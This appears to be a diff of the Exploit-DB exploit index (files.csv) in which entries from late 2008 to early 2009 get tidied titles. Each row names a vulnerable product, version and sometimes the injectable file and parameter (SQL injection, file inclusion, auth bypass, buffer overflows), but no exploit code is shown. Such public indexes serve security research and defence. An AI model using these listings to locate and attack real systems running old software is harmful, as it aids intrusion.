 7593,platforms/php/webapps/7593.pl,"DeluxeBB <= 1.2 Remote Blind SQL Injection Exploit",2008-12-28,StAkeR,php,webapps,0
 7594,platforms/windows/remote/7594.html,"Chilkat FTP ActiveX (SaveLastError) Insecure Method Exploit",2008-12-28,callAX,windows,remote,0
@@ -7140,8 +7140,8 @@ id,file,description,date,author,platform,type,port
 7600,platforms/php/webapps/7600.pl,"Flexphplink Pro Arbitrary File Upload Exploit",2008-12-28,Osirys,php,webapps,0
 7601,platforms/php/webapps/7601.txt,"Silentum LoginSys 1.0.0 Insecure Cookie Handling vulnerability",2008-12-28,Osirys,php,webapps,0
 7602,platforms/php/webapps/7602.txt,"webClassifieds 2005 (Auth Bypass) SQL Injection Vulnerability",2008-12-29,AnGeL25dZ,php,webapps,0
-7603,platforms/php/webapps/7603.txt,"eDNews v2 (lg) Local File Inclusion Vulnerability",2008-12-29,GoLd_M,php,webapps,0
-7604,platforms/php/webapps/7604.txt,"eDContainer v2.22 (lg) Local File Inclusion Vulnerability",2008-12-29,GoLd_M,php,webapps,0
+7603,platforms/php/webapps/7603.txt,"eDNews 2.0 - (lg) Local File Inclusion Vulnerability",2008-12-29,GoLd_M,php,webapps,0
+7604,platforms/php/webapps/7604.txt,"eDContainer 2.22 - (lg) Local File Inclusion Vulnerability",2008-12-29,GoLd_M,php,webapps,0
 7605,platforms/php/webapps/7605.php,"TaskDriver <= 1.3 Remote Change Admin Password Exploit",2008-12-29,cOndemned,php,webapps,0
 7606,platforms/php/webapps/7606.txt,"FubarForum 1.6 Admin Bypass Change User Password Vulnerability",2008-12-29,R31P0l,php,webapps,0
 7607,platforms/php/webapps/7607.pl,"Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit",2008-12-29,StAkeR,php,webapps,0
@@ -7156,7 +7156,7 @@ id,file,description,date,author,platform,type,port
 7616,platforms/php/webapps/7616.txt,"Flexphplink 0.0.x (Auth Bypass) SQL Injection Vulnerability",2008-12-29,x0r,php,webapps,0
 7617,platforms/windows/remote/7617.html,"SasCam WebCam Server 2.6.5 ActiveX Remote BOF Exploit",2008-12-29,callAX,windows,remote,0
 7618,platforms/linux/local/7618.c,"Linux Kernel < 2.6.26.4 SCTP Kernel Memory Disclosure Exploit",2008-12-29,"Jon Oberheide",linux,local,0
-7619,platforms/php/webapps/7619.txt,"eDNews v2 (eDNews_view.php newsid) SQL Injection Vulnerability",2008-12-29,"Virangar Security",php,webapps,0
+7619,platforms/php/webapps/7619.txt,"eDNews 2.0 - (eDNews_view.php newsid) SQL Injection Vulnerability",2008-12-29,"Virangar Security",php,webapps,0
 7620,platforms/php/webapps/7620.txt,"ThePortal 2.2 Arbitrary Remote File Upload Exploit",2008-12-29,siurek22,php,webapps,0
 7621,platforms/php/webapps/7621.txt,"PHPAlumni (Acomment.php id) SQL Injection Vulnerability",2008-12-29,Mr.SQL,php,webapps,0
 7622,platforms/php/webapps/7622.txt,"Flexcustomer 0.0.6 Admin Login Bypass / Possible PHP code writing",2008-12-29,Osirys,php,webapps,0
@@ -7171,7 +7171,7 @@ id,file,description,date,author,platform,type,port
 7631,platforms/php/webapps/7631.txt,"2Capsule (sticker.php id) Remote SQL Injection Vulnerability",2009-01-01,Zenith,php,webapps,0
 7632,platforms/hardware/dos/7632.txt,"Nokia S60 SMS/MMS (Curse of Silence) Denial of Service Vulnerability",2009-01-01,"Tobias Engel",hardware,dos,0
 7633,platforms/php/webapps/7633.txt,"EggBlog 3.1.10 Change Admin Pass CSRF Vulnerability",2009-01-01,x0r,php,webapps,0
-7634,platforms/windows/dos/7634.pl,"Audacity 1.2.6  (.gro File) Local Buffer Overflow PoC",2009-01-01,Houssamix,windows,dos,0
+7634,platforms/windows/dos/7634.pl,"Audacity 1.2.6 (.gro File) Local Buffer Overflow PoC",2009-01-01,Houssamix,windows,dos,0
 7635,platforms/php/webapps/7635.txt,"ASPThai.Net Webboard 6.0 (bview.asp) SQL Injection Vulnerability",2009-01-01,DaiMon,php,webapps,0
 7636,platforms/php/webapps/7636.pl,"PHPFootball <= 1.6 (filter.php) Remote Hash Disclosure Exploit",2009-01-01,KinG-LioN,php,webapps,0
 7637,platforms/windows/dos/7637.pl,"Elecard MPEG Player 5.5 (.m3u File) Stack Buffer Overflow PoC",2009-01-01,"aBo MoHaMeD",windows,dos,0
@@ -7195,7 +7195,7 @@ id,file,description,date,author,platform,type,port
 7655,platforms/windows/local/7655.pl,"Destiny Media Player 1.61 (lst File) Local Buffer Overflow Exploit #2",2009-01-04,sCORPINo,windows,local,0
 7656,platforms/windows/local/7656.pl,"Destiny Media Player 1.61 (lst File) Local Buffer Overflow Exploit #3",2009-01-04,Houssamix,windows,local,0
 7657,platforms/php/webapps/7657.txt,"webSPELL <= 4.01.02 (id) Remote Edit Topics Vulnerability",2009-01-04,StAkeR,php,webapps,0
-7658,platforms/php/webapps/7658.pl,"PNphpBB2 <= 1.2i (ModName) Multiple Local File Inclusion Exploit",2009-01-04,StAkeR,php,webapps,0
+7658,platforms/php/webapps/7658.pl,"PNphpBB2 <= 12i - (ModName) Multiple Local File Inclusion Exploit",2009-01-04,StAkeR,php,webapps,0
 7659,platforms/php/webapps/7659.txt,"WSN Guest 1.23 (search) Remote SQL Injection Vulnerability",2009-01-04,DaiMon,php,webapps,0
 7660,platforms/php/webapps/7660.txt,"PhpMesFilms 1.0 (index.php id) Remote SQL Injection Vulnerability",2009-01-04,SuB-ZeRo,php,webapps,0
 7661,platforms/windows/local/7661.pl,"Destiny Media Player 1.61 (lst File) Local Buffer Overflow Exploit #4",2009-01-04,Stack,windows,local,0
@@ -7238,7 +7238,7 @@ id,file,description,date,author,platform,type,port
 7698,platforms/php/webapps/7698.txt,"PHP-Fusion Mod E-Cart 1.3 (items.php CA) SQL Injection Vulnerability",2009-01-07,IRCRASH,php,webapps,0
 7699,platforms/php/webapps/7699.txt,"QuoteBook (poll.inc) Remote Config File Disclosure Vulnerability",2009-01-07,Moudi,php,webapps,0
 7700,platforms/php/webapps/7700.php,"CuteNews <= 1.4.6 (ip ban) XSS/Command Execution Exploit (adm req.)",2009-01-08,StAkeR,php,webapps,0
-7701,platforms/linux/remote/7701.txt,"Samba < 3.0.20 Remote Heap Overflow Exploit (oldie but goodie)",2009-01-08,zuc,linux,remote,445
+7701,platforms/linux/remote/7701.txt,"Samba < 3.0.20 - Remote Heap Overflow Exploit",2009-01-08,zuc,linux,remote,445
 7702,platforms/windows/local/7702.c,"GOM Player 2.0.12.3375 (.ASX File) Stack Overflow Exploit",2009-01-08,DATA_SNIPER,windows,local,0
 7703,platforms/php/webapps/7703.txt,"PHP-Fusion Mod vArcade 1.8 (comment_id) SQL Injection Vulnerability",2009-01-08,IRCRASH,php,webapps,0
 7704,platforms/php/webapps/7704.pl,"Pizzis CMS <= 1.5.1 (visualizza.php idvar) Blind SQL Injection Exploit",2009-01-08,darkjoker,php,webapps,0
@@ -7273,7 +7273,7 @@ id,file,description,date,author,platform,type,port
 7733,platforms/php/webapps/7733.txt,"Photobase 1.2 (language) Local File Inclusion Vulnerability",2009-01-11,Osirys,php,webapps,0
 7734,platforms/php/webapps/7734.txt,"Joomla Component Portfol (vcatid) SQL Injection Vulnerability",2009-01-12,H!tm@N,php,webapps,0
 7735,platforms/php/webapps/7735.pl,"Simple Machines Forum - Destroyer 0.1",2009-01-12,Xianur0,php,webapps,0
-7736,platforms/asp/webapps/7736.htm,"Comersus Shopping Cart <= v6 Remote User Pass Exploit",2009-01-12,ajann,asp,webapps,0
+7736,platforms/asp/webapps/7736.htm,"Comersus Shopping Cart <= 6.0 - Remote User Pass Exploit",2009-01-12,ajann,asp,webapps,0
 7737,platforms/windows/dos/7737.py,"Triologic Media Player 7 (.m3u) Local Heap Buffer Overflow PoC",2009-01-12,zAx,windows,dos,0
 7738,platforms/php/webapps/7738.txt,"Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability",2009-01-12,seomafia,php,webapps,0
 7739,platforms/windows/remote/7739.html,"ExcelOCX ActiveX 3.2 (Download File) Insecure Method Exploit",2009-01-12,"Alfons Luja",windows,remote,0
@@ -7311,12 +7311,12 @@ id,file,description,date,author,platform,type,port
 7771,platforms/asp/webapps/7771.txt,"DMXReady Job Listing <= 1.1 Remote Contents Change Vulnerability",2009-01-14,ajann,asp,webapps,0
 7772,platforms/asp/webapps/7772.txt,"DMXReady Links Manager <= 1.1 Remote Contents Change Vulnerability",2009-01-14,ajann,asp,webapps,0
 7773,platforms/asp/webapps/7773.txt,"DMXReady Member Directory Manager <= 1.1 SQL Injection Vulnerability",2009-01-14,ajann,asp,webapps,0
-7774,platforms/asp/webapps/7774.txt,"DMXReady Members Area Manager  <= 1.2 SQL Injection Vulnerability",2009-01-14,ajann,asp,webapps,0
+7774,platforms/asp/webapps/7774.txt,"DMXReady Members Area Manager <= 1.2 SQL Injection Vulnerability",2009-01-14,ajann,asp,webapps,0
 7775,platforms/php/webapps/7775.txt,"Joomla Component Camelcitydb2 2.2 SQL Injection Vulnerabilities",2009-01-14,H!tm@N,php,webapps,0
 7776,platforms/hardware/dos/7776.c,"Cisco VLAN Trunking Protocol Denial of Service Exploit",2009-01-14,showrun,hardware,dos,0
 7777,platforms/php/webapps/7777.txt,"Joomla Component Fantasytournament SQL Injection Vulnerabilities",2009-01-14,H!tm@N,php,webapps,0
 7778,platforms/php/webapps/7778.txt,"phpList <= 2.10.8 Local File Inclusion Vulnerability",2009-01-14,BugReport.IR,php,webapps,0
-7779,platforms/windows/remote/7779.html,"AAA EasyGrid ActiveX  3.51 Remote File Overwrite Exploit",2009-01-14,Houssamix,windows,remote,0
+7779,platforms/windows/remote/7779.html,"AAA EasyGrid ActiveX 3.51 Remote File Overwrite Exploit",2009-01-14,Houssamix,windows,remote,0
 7780,platforms/php/webapps/7780.pl,"phosheezy 2.0 Remote Command Execution Exploit",2009-01-14,Osirys,php,webapps,0
 7781,platforms/multiple/remote/7781.txt,"Oracle Secure Backup 10g exec_qr() Command Injection Vulnerability",2009-01-14,"Joxean Koret",multiple,remote,0
 7782,platforms/asp/webapps/7782.txt,"DMXReady PayPal Store Manager <= 1.1 Contents Change Vulnerability",2009-01-14,ajann,asp,webapps,0
@@ -7345,16 +7345,16 @@ id,file,description,date,author,platform,type,port
 7805,platforms/php/webapps/7805.txt,"RankEm (DD/XSS/CM) Multiple Remote Vulnerabilities",2009-01-16,Pouya_Server,php,webapps,0
 7806,platforms/php/webapps/7806.txt,"BlogIt! (SQL/DD/XSS) Multiple Remote Vulnerabilities",2009-01-16,Pouya_Server,php,webapps,0
 7807,platforms/asp/webapps/7807.txt,"ASP ActionCalendar 1.3 (Auth Bypass) SQL Injection Vulnerability",2009-01-16,SuB-ZeRo,asp,webapps,0
-7809,platforms/php/webapps/7809.txt,"Aj Classifieds - Real Estate v3 Remote Shell Upload Vulnerability",2009-01-16,ZoRLu,php,webapps,0
-7810,platforms/php/webapps/7810.txt,"Aj Classifieds - Personals v3 Remote Shell Upload Vulnerability",2009-01-16,ZoRLu,php,webapps,0
-7811,platforms/php/webapps/7811.txt,"Aj Classifieds - For Sale v3 Remote Shell Upload Vulnerability",2009-01-16,ZoRLu,php,webapps,0
+7809,platforms/php/webapps/7809.txt,"Aj Classifieds - Real Estate 3.0 - Remote Shell Upload Vulnerability",2009-01-16,ZoRLu,php,webapps,0
+7810,platforms/php/webapps/7810.txt,"Aj Classifieds - Personals 3.0 - Remote Shell Upload Vulnerability",2009-01-16,ZoRLu,php,webapps,0
+7811,platforms/php/webapps/7811.txt,"Aj Classifieds - For Sale 3.0 - Remote Shell Upload Vulnerability",2009-01-16,ZoRLu,php,webapps,0
 7812,platforms/multiple/dos/7812.pl,"MPlayer 1.0rc2 TwinVQ Stack Buffer Overflow PoC",2009-01-16,sCORPINo,multiple,dos,0
 7813,platforms/php/webapps/7813.txt,"Simple PHP Newsletter 1.5 (olang) Local File Inclusion Vulnerabilities",2009-01-16,ahmadbady,php,webapps,0
 7814,platforms/php/webapps/7814.txt,"BibCiter 1.4 Multiple SQL Injection Vulnerabilities",2009-01-16,nuclear,php,webapps,0
 7815,platforms/php/webapps/7815.txt,"Joomla Component Gigcal 1.x (id) SQL Injection Vulnerability",2009-01-18,Lanti-Net,php,webapps,0
 7816,platforms/asp/webapps/7816.txt,"DS-IPN.NET Digital Sales IPN Database Disclosure Vulnerability",2009-01-18,Moudi,asp,webapps,0
 7817,platforms/php/webapps/7817.txt,"Click&Email (Auth Bypass) SQL Injection Vulnerability",2009-01-18,SuB-ZeRo,php,webapps,0
-7818,platforms/php/webapps/7818.txt,"SCMS v1 (index.php p) Local File Inclusion Vulnerability",2009-01-18,ahmadbady,php,webapps,0
+7818,platforms/php/webapps/7818.txt,"SCMS 1 - (index.php p) Local File Inclusion Vulnerability",2009-01-18,ahmadbady,php,webapps,0
 7819,platforms/php/webapps/7819.txt,"ESPG (Enhanced Simple PHP Gallery) 1.72 File Disclosure Vulnerability",2009-01-18,bd0rk,php,webapps,0
 7820,platforms/php/webapps/7820.pl,"Fhimage 1.2.1 Remote Index Change Exploit",2009-01-19,Osirys,php,webapps,0
 7821,platforms/php/webapps/7821.pl,"Fhimage 1.2.1 Remote Command Execution Exploit (mq = off)",2009-01-19,Osirys,php,webapps,0
@@ -7365,7 +7365,7 @@ id,file,description,date,author,platform,type,port
 7827,platforms/windows/remote/7827.html,"SmartVmd ActiveX v 1.1 Remote File Deletion Exploit",2009-01-19,Houssamix,windows,remote,0
 7828,platforms/php/webapps/7828.txt,"Joomla Component com_news SQL Injection Vulnerability",2009-01-19,Snakespc,php,webapps,0
 7829,platforms/php/webapps/7829.txt,"Gallery Kys 1.0 Admin Password Disclosure / Permanent XSS Vulns",2009-01-19,Osirys,php,webapps,0
-7830,platforms/php/webapps/7830.txt,"RCBlog v1.03 Authentication Bypass Vulnerability",2009-01-19,"Danny Moules",php,webapps,0
+7830,platforms/php/webapps/7830.txt,"RCBlog 1.03 - Authentication Bypass Vulnerability",2009-01-19,"Danny Moules",php,webapps,0
 7831,platforms/php/webapps/7831.txt,"Ninja Blog 4.8 Remote Information Disclosure Vulnerability",2009-01-19,"Danny Moules",php,webapps,0
 7832,platforms/php/webapps/7832.txt,"PHPAds 2.0 Multiple Remote Vulnerabilities",2009-01-19,"Danny Moules",php,webapps,0
 7833,platforms/php/webapps/7833.php,"Joomla com_waticketsystem Blind SQL Injection Exploit",2009-01-19,InjEctOr5,php,webapps,0
@@ -7400,15 +7400,15 @@ id,file,description,date,author,platform,type,port
 7862,platforms/php/webapps/7862.txt,"Flax Article Manager 1.1 (cat_id) SQL Injection Vulnerability",2009-01-25,JiKo,php,webapps,0
 7863,platforms/php/webapps/7863.txt,"OpenGoo 1.1 (script_class) Local File Inclusion Vulnerability",2009-01-25,fuzion,php,webapps,0
 7864,platforms/php/webapps/7864.py,"EPOLL SYSTEM 3.1 (password.dat) Disclosure Exploit",2009-01-25,Pouya_Server,php,webapps,0
-7865,platforms/solaris/dos/7865.c,"SunOS Release 5.11 Version snv_101b Remote IPV6 Crash Exploit",2009-01-26,Kingcope,solaris,dos,0
-7866,platforms/php/webapps/7866.txt,"Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln",2009-01-26,Xianur0,php,webapps,0
+7865,platforms/solaris/dos/7865.c,"SunOS Release 5.11 Version snv_101b Remote IPv6 Crash Exploit",2009-01-26,Kingcope,solaris,dos,0
+7866,platforms/php/webapps/7866.txt,"Simple Machines Forum <= 1.1.7 - CSRF/XSS/Package Upload",2009-01-26,Xianur0,php,webapps,0
 7867,platforms/php/webapps/7867.php,"ITLPoll 2.7 Stable2 (index.php id) Blind SQL Injection Exploit",2009-01-26,fuzion,php,webapps,0
 7868,platforms/windows/remote/7868.html,"FlexCell Grid Control 5.6.9 Remote File Overwrite Exploit",2009-01-26,Houssamix,windows,remote,0
 7869,platforms/windows/dos/7869.html,"MW6 Barcode ActiveX (Barcode.dll) Reamote Heap Overflow PoC",2009-01-26,Houssamix,windows,dos,0
 7871,platforms/windows/remote/7871.html,"NCTVideoStudio ActiveX DLLs 1.6 Insecure Method File Creation Exploit",2009-01-26,Stack,windows,remote,0
 7872,platforms/asp/webapps/7872.txt,"E-ShopSystem Auth Bypass / SQL Injection Multiple Vulnerabilities",2009-01-26,InjEctOr5,asp,webapps,0
 7873,platforms/php/webapps/7873.txt,"Script Toko Online 5.01 (shop_display_products.php) SQL Injection Vuln",2009-01-26,k1n9k0ng,php,webapps,0
-7874,platforms/php/webapps/7874.txt,"SHOP-INET v4 (show_cat2.php grid) SQL Injection Vulnerability",2009-01-26,FeDeReR,php,webapps,0
+7874,platforms/php/webapps/7874.txt,"SHOP-INET 4 (show_cat2.php grid) - SQL Injection Vulnerability",2009-01-26,FeDeReR,php,webapps,0
 7875,platforms/windows/remote/7875.pl,"WinFTP 2.3.0 (LIST) Remote Buffer Overflow Exploit (post-auth)",2009-01-26,"joe walko",windows,remote,21
 7876,platforms/php/webapps/7876.php,"PHP-CMS 1 (username) Blind SQL Injection Exploit",2009-01-26,darkjoker,php,webapps,0
 7877,platforms/php/webapps/7877.txt,"Wazzum Dating Software (userid) SQL Injection Vulnerability",2009-01-26,nuclear,php,webapps,0
@@ -7423,7 +7423,7 @@ id,file,description,date,author,platform,type,port
 7886,platforms/php/webapps/7886.txt,"Pixie CMS 1.0 Multiple Local File Inclusion Vulnerabilities",2009-01-27,DSecRG,php,webapps,0
 7887,platforms/windows/dos/7887.pl,"Zinf Audio Player 2.2.1 (PLS File) Stack Overflow PoC",2009-01-27,Hakxer,windows,dos,0
 7888,platforms/windows/local/7888.pl,"Zinf Audio Player 2.2.1 (PLS File) Local Buffer Overflow Exploit (univ)",2009-01-28,Houssamix,windows,local,0
-7889,platforms/windows/dos/7889.pl,"Zinf Audio Player 2.2.1 (M3U FILE)  Local Heap Overflow PoC",2009-01-27,Hakxer,windows,dos,0
+7889,platforms/windows/dos/7889.pl,"Zinf Audio Player 2.2.1 (M3U FILE) Local Heap Overflow PoC",2009-01-27,Hakxer,windows,dos,0
 7890,platforms/windows/dos/7890.pl,"Zinf Audio Player 2.2.1 (gqmpeg File) Buffer Overflow PoC",2009-01-27,Hakxer,windows,dos,0
 7892,platforms/php/webapps/7892.php,"Community CMS <= 0.4 (/index.php id) Blind SQL Injection Exploit",2009-01-28,darkjoker,php,webapps,0
 7893,platforms/php/webapps/7893.txt,"GameScript 4.6 (XSS/SQL/LFI) Multiple Remote Vulnerabilities",2009-01-28,Encrypt3d.M!nd,php,webapps,0
@@ -7449,17 +7449,17 @@ id,file,description,date,author,platform,type,port
 7915,platforms/hardware/remote/7915.txt,"Motorola Wimax modem CPEi300 (FD/XSS) Multiple Vulnerabilities",2009-01-29,"Usman Saeed",hardware,remote,0
 7916,platforms/php/webapps/7916.txt,"NetArtMedia Car Portal 1.0 (Auth Bypass) SQL Injection Vulnerability",2009-01-29,"Mehmet Ince",php,webapps,0
 7917,platforms/php/webapps/7917.php,"PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit",2009-01-29,darkjoker,php,webapps,0
-7918,platforms/windows/remote/7918.txt,"ManageEngine Firewall Analyzer 5 XSRF/XSS Vulnerability",2009-01-29,"Michael Brooks",windows,remote,0
-7919,platforms/windows/remote/7919.txt,"Profense Web Application Firewall 2.6.2 XSRF/XSS Vulnerabilities",2009-01-29,"Michael Brooks",windows,remote,0
-7920,platforms/hardware/remote/7920.txt,"D-Link VoIP Phone Adapter XSS/XSRF Remote Firmware Overwrite",2009-01-29,"Michael Brooks",hardware,remote,0
-7921,platforms/hardware/remote/7921.txt,"Zoom VoIP Phone Adapater ATA1+1 1.2.5 XSRF Exploit",2009-01-29,"Michael Brooks",hardware,remote,0
-7922,platforms/php/webapps/7922.txt,"Pligg 9.9.5 XSRF Protection Bypass and Captcha Bypass",2009-01-29,"Michael Brooks",php,webapps,0
+7918,platforms/windows/remote/7918.txt,"ManageEngine Firewall Analyzer 5 - CSRF/XSS Vulnerability",2009-01-29,"Michael Brooks",windows,remote,0
+7919,platforms/windows/remote/7919.txt,"Profense Web Application Firewall 2.6.2 - CSRF/XSS Vulnerabilities",2009-01-29,"Michael Brooks",windows,remote,0
+7920,platforms/hardware/remote/7920.txt,"D-Link VoIP Phone Adapter - XSS/CSRF Remote Firmware Overwrite",2009-01-29,"Michael Brooks",hardware,remote,0
+7921,platforms/hardware/remote/7921.txt,"Zoom VoIP Phone Adapater ATA1+1 1.2.5 - CSRF Exploit",2009-01-29,"Michael Brooks",hardware,remote,0
+7922,platforms/php/webapps/7922.txt,"Pligg 9.9.5 - CSRF Protection Bypass and Captcha Bypass",2009-01-29,"Michael Brooks",php,webapps,0
 7923,platforms/windows/local/7923.c,"Total Video Player 1.3.7 (.m3u) Local Buffer Overflow Exploit",2009-01-29,SimO-s0fT,windows,local,0
 7924,platforms/asp/webapps/7924.txt,"SalesCart (Auth Bypass) SQL Injection Vulnerability",2009-01-30,ByALBAYX,asp,webapps,0
 7925,platforms/php/webapps/7925.txt,"ReVou Twitter Clone (XSS/SQL) Multiple Remote Vulnerabilities",2009-01-30,nuclear,php,webapps,0
 7926,platforms/windows/remote/7926.pl,"Amaya Web Editor 11 Remote SEH Overwrite Exploit",2009-01-30,LiquidWorm,windows,remote,0
 7927,platforms/php/webapps/7927.txt,"GNUBoard 4.31.04 (09.01.30) Multiple Local/Remote 	Vulnerabilities",2009-01-30,make0day,php,webapps,0
-7928,platforms/windows/remote/7928.txt,"Synactis All_IN_THE_BOX ActiveX v3 Null byte File Overwrite Vuln",2009-01-30,DSecRG,windows,remote,0
+7928,platforms/windows/remote/7928.txt,"Synactis All_IN_THE_BOX ActiveX 3.0 - Null byte File Overwrite Vuln",2009-01-30,DSecRG,windows,remote,0
 7929,platforms/windows/local/7929.c,"GOM Player 2.0.12 (.PLS) Universal Buffer Overflow Exploit",2009-01-30,Stack,windows,local,0
 7930,platforms/php/webapps/7930.txt,"BPAutoSales 1.0.1 (XSS/SQL) Multiple Remote Vulnerabilities",2009-01-30,"Mehmet Ince",php,webapps,0
 7931,platforms/php/webapps/7931.txt,"Orca 2.0.2 (Topic) Remote XSS Vulnerability",2009-01-30,J-Hacker,php,webapps,0
@@ -7487,11 +7487,11 @@ id,file,description,date,author,platform,type,port
 7955,platforms/php/webapps/7955.txt,"Groone's Guestbook 2.0 Remote File Inclusion Vulnerability",2009-02-03,"k3vin mitnick",php,webapps,0
 7956,platforms/php/webapps/7956.txt,"Online Grades 3.2.4 (Auth Bypass) SQL Injection Vulnerability",2009-02-03,x0r,php,webapps,0
 7957,platforms/windows/local/7957.pl,"Free Download Manager <= 3.0 Build 844 .torrent BOF Exploit",2009-02-03,SkD,windows,local,0
-7958,platforms/windows/local/7958.pl,"Euphonics Audio Player v1.0 (.pls) Local Buffer Overflow Exploit",2009-02-03,h4ck3r#47,windows,local,0
+7958,platforms/windows/local/7958.pl,"Euphonics Audio Player 1.0 - (.pls) Local Buffer Overflow Exploit",2009-02-03,h4ck3r#47,windows,local,0
 7959,platforms/php/webapps/7959.txt,"Simple Machines Forums (BBCode) Cookie Stealing Vulnerability",2009-02-03,Xianur0,php,webapps,0
 7960,platforms/php/webapps/7960.txt,"AJA Modules Rapidshare 1.0.0 Remote Shell Upload Vulnerability",2009-02-03,"Hussin X",php,webapps,0
 7961,platforms/php/webapps/7961.php,"WEBalbum 2.4b (photo.php id) Blind SQL Injection Exploit",2009-02-03,"Mehmet Ince",php,webapps,0
-7962,platforms/windows/dos/7962.pl,"Hex Workshop v6 (ColorMap files .cmap) Invalid Memory Reference PoC",2009-02-03,DATA_SNIPER,windows,dos,0
+7962,platforms/windows/dos/7962.pl,"Hex Workshop 6.0 - (ColorMap files .cmap) Invalid Memory Reference PoC",2009-02-03,DATA_SNIPER,windows,dos,0
 7963,platforms/asp/webapps/7963.txt,"MyDesing Sayac 2.0 (Auth Bypass) SQL Injection Vulnerability",2009-02-03,Kacak,asp,webapps,0
 7964,platforms/php/webapps/7964.txt,"4Site CMS <= 2.6 Multiple Remote SQL Injection Vulnerabilities",2009-02-03,D.Mortalov,php,webapps,0
 7965,platforms/php/webapps/7965.txt,"Technote 7.2 Remote File Inclusion Vulnerability",2009-02-03,make0day,php,webapps,0
@@ -7502,10 +7502,10 @@ id,file,description,date,author,platform,type,port
 7972,platforms/php/webapps/7972.py,"Openfiler 2.3 (Auth Bypass) Remote Password Change Exploit",2009-02-03,nonroot,php,webapps,0
 7973,platforms/windows/local/7973.pl,"Euphonics Audio Player 1.0 (.pls) Universal Local Buffer Overflow Exploit",2009-02-04,Houssamix,windows,local,0
 7974,platforms/windows/local/7974.c,"Euphonics Audio Player 1.0 (.pls) Local Buffer Overflow Exploit (xp/sp3)",2009-02-04,"Single Eye",windows,local,0
-7975,platforms/windows/local/7975.py,"BlazeVideo HDTV Player <= 3.5 PLF Playlist File  Remote Overflow Exploit",2009-02-04,LiquidWorm,windows,local,0
+7975,platforms/windows/local/7975.py,"BlazeVideo HDTV Player <= 3.5 PLF Playlist File Remote Overflow Exploit",2009-02-04,LiquidWorm,windows,local,0
 7976,platforms/php/webapps/7976.txt,"Jaws 0.8.8 Multiple Local File Inclusion Vulnerabilities",2009-02-04,fuzion,php,webapps,0
 7977,platforms/php/webapps/7977.txt,"Syntax Desktop 2.7 (synTarget) Local File Inclusion Vulnerability",2009-02-04,ahmadbady,php,webapps,0
-7978,platforms/php/webapps/7978.txt,"rgboard v4 5p1 (07.07.27) Multiple Remote Vulnerabilities",2009-02-04,make0day,php,webapps,0
+7978,platforms/php/webapps/7978.txt,"rgboard 4 5p1 (07.07.27) - Multiple Remote Vulnerabilities",2009-02-04,make0day,php,webapps,0
 7979,platforms/php/webapps/7979.txt,"GRBoard 1.8 Multiple Remote File Inclusion Vulnerabilities",2009-02-04,make0day,php,webapps,0
 7980,platforms/php/webapps/7980.pl,"PHPbbBook 1.3 (bbcode.php l) Local File Inclusion Exploit",2009-02-04,Osirys,php,webapps,0
 7981,platforms/asp/webapps/7981.txt,"Power System Of Article Management (DD/XSS) Vulnerabilities",2009-02-04,Pouya_Server,asp,webapps,0
@@ -7535,8 +7535,8 @@ id,file,description,date,author,platform,type,port
 8006,platforms/php/webapps/8006.txt,"Traidnt UP Version 1.0 Remote File Upload Vulnerability",2009-02-09,fantastic,php,webapps,0
 8007,platforms/php/webapps/8007.php,"IF-CMS <= 2.0 (frame.php id) Blind SQL Injection Exploit",2009-02-09,darkjoker,php,webapps,0
 8008,platforms/hardware/dos/8008.txt,"Netgear embedded Linux for the SSL312 router DOS Vulnerability",2009-02-09,Rembrandt,hardware,dos,0
-8009,platforms/php/webapps/8009.pl,"w3bcms <= v3.5.0 Multiple Remote Vulnerabilities Exploit",2009-02-09,DNX,php,webapps,0
-8010,platforms/windows/local/8010.pl,"FeedDemon <=2.7 OPML Outline Tag Buffer Overflow Exploit",2009-02-09,cenjan,windows,local,0
+8009,platforms/php/webapps/8009.pl,"w3bcms <= 3.5.0 - Multiple Remote Vulnerabilities Exploit",2009-02-09,DNX,php,webapps,0
+8010,platforms/windows/local/8010.pl,"FeedDemon <= 2.7 OPML Outline Tag Buffer Overflow Exploit",2009-02-09,cenjan,windows,local,0
 8011,platforms/php/webapps/8011.txt,"BusinessSpace <= 1.2 (id) Remote SQL Injection Vulnerability",2009-02-09,K-159,php,webapps,0
 8012,platforms/php/webapps/8012.txt,"A Better Member-Based ASP Photo Gallery (entry) SQL Injection Vuln",2009-02-09,BackDoor,php,webapps,0
 8013,platforms/hardware/dos/8013.txt,"Nokia N95-8 (JPG File) Remote Crash PoC",2009-02-09,"Juan Yacubian",hardware,dos,0
@@ -7560,7 +7560,7 @@ id,file,description,date,author,platform,type,port
 8031,platforms/php/webapps/8031.pph,"q-news 2.0 Remote Command Execution Exploit",2009-02-10,Fireshot,php,webapps,0
 8032,platforms/php/webapps/8032.txt,"Potato News 1.0.0 (user) Local File Inclusion Vulnerability",2009-02-10,x0r,php,webapps,0
 8033,platforms/php/webapps/8033.txt,"AuthPhp 1.0 (Auth Bypass) SQL Injection Vulnerability",2009-02-10,x0r,php,webapps,0
-8034,platforms/php/webapps/8034.txt,"Mynews 0_10  (Auth Bypass) SQL Injection Vulnerability",2009-02-10,x0r,php,webapps,0
+8034,platforms/php/webapps/8034.txt,"Mynews 0_10 (Auth Bypass) SQL Injection Vulnerability",2009-02-10,x0r,php,webapps,0
 8035,platforms/php/webapps/8035.txt,"BlueBird Pre-Release (Auth Bypass) SQL Injection Vulnerability",2009-02-10,x0r,php,webapps,0
 8036,platforms/php/webapps/8036.pl,"Fluorine CMS 0.1 rc 1 FD / SQL Injection Command Execution Exploit",2009-02-10,Osirys,php,webapps,0
 8037,platforms/multiple/remote/8037.txt,"ProFTPd with mod_mysql Authentication Bypass Vulnerability",2009-02-10,gat3way,multiple,remote,0
@@ -7569,7 +7569,7 @@ id,file,description,date,author,platform,type,port
 8040,platforms/php/webapps/8040.txt,"Graugon Gallery 1.0 (XSS/SQL/Cookie Bypass) Remote Vulnerabilities",2009-02-11,x0r,php,webapps,0
 8041,platforms/windows/remote/8041.txt,"GeoVision Digital Video Surveillance System (geohttpserver) DT Vuln",2009-02-11,"Dejan Levaja",windows,remote,0
 8042,platforms/php/webapps/8042.txt,"Dacio's CMS 1.08 (XSS/SQL/DD) Multiple Remote Vulnerabilities",2009-02-11,"Mehmet Ince",php,webapps,0
-8043,platforms/php/webapps/8043.pl,"Bloggeruniverse v2Beta (editcomments.php id) SQL Injection Exploit",2009-02-11,Osirys,php,webapps,0
